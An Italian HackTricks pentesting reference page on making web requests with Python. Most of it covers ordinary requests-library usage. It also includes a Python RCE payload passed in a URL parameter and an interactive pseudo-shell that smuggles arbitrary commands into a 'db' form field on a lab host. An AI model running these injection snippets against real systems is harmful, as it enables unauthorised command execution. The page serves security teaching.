hacktricks/generic-methodologies-and-resources/python/web-requests.md

# Richieste Web

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<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

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## Richieste Python
```python
import requests

url = "http://example.com:80/some/path.php"
params = {"p1":"value1", "p2":"value2"}
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

#Regular Get requests sending parameters (params)
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)

code = gr.status_code
ret_headers = gr.headers
body_byte = gr.content
body_text = gr.text
ret_cookies = gr.cookies
is_redirect = gr.is_redirect
is_permanent_redirect = gr.is_permanent_redirect
float_seconds = gr.elapsed.total_seconds() 10.231

#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Json Post requests sending parameters(json)
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

#Post request sending a file(files) and extra values
filedict = {"<FILE_PARAMETER_NAME>" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
pr = requests.post(url, data={"submit": "submit"}, files=filedict)

#Useful for presenting results in boolean/time based injections
print(f"\rflag: {flag}{char}", end="")




##### Example Functions
target = "http://10.10.10.10:8000"
proxies = {}
s = requests.Session()

def register(username, password):
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
return resp

def login(username, password):
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
return resp

def get_info(name):
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
return guid

def upload(guid, filename, data):
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
return guid

def json_search(guid, search_string):
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
return resp.json()

def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
## Comando Python per sfruttare un RCE

```python
import requests

url = "http://target.com/vulnerable_endpoint"
payload = "__import__('os').system('command_to_execute')"

response = requests.get(url + "?param=" + payload)
print(response.text)
```

Questo comando Python può essere utilizzato per sfruttare una vulnerabilità di esecuzione remota di codice (RCE). Sostituisci "http://target.com/vulnerable_endpoint" con l'URL dell'endpoint vulnerabile e "command_to_execute" con il comando che desideri eseguire sul sistema di destinazione. Il payload "__import__('os').system('command_to_execute')" consente di eseguire comandi del sistema operativo tramite la libreria "os" di Python.
```python
import requests
import re
from cmd import Cmd

class Terminal(Cmd):
prompt = "Inject => "

def default(self, args):
output = RunCmd(args)
print(output)

def RunCmd(cmd):
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post('http://10.10.10.127/select', data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return 1


term = Terminal()
term.cmdloop()
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

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Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo.\
Ottieni l'accesso oggi stesso:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

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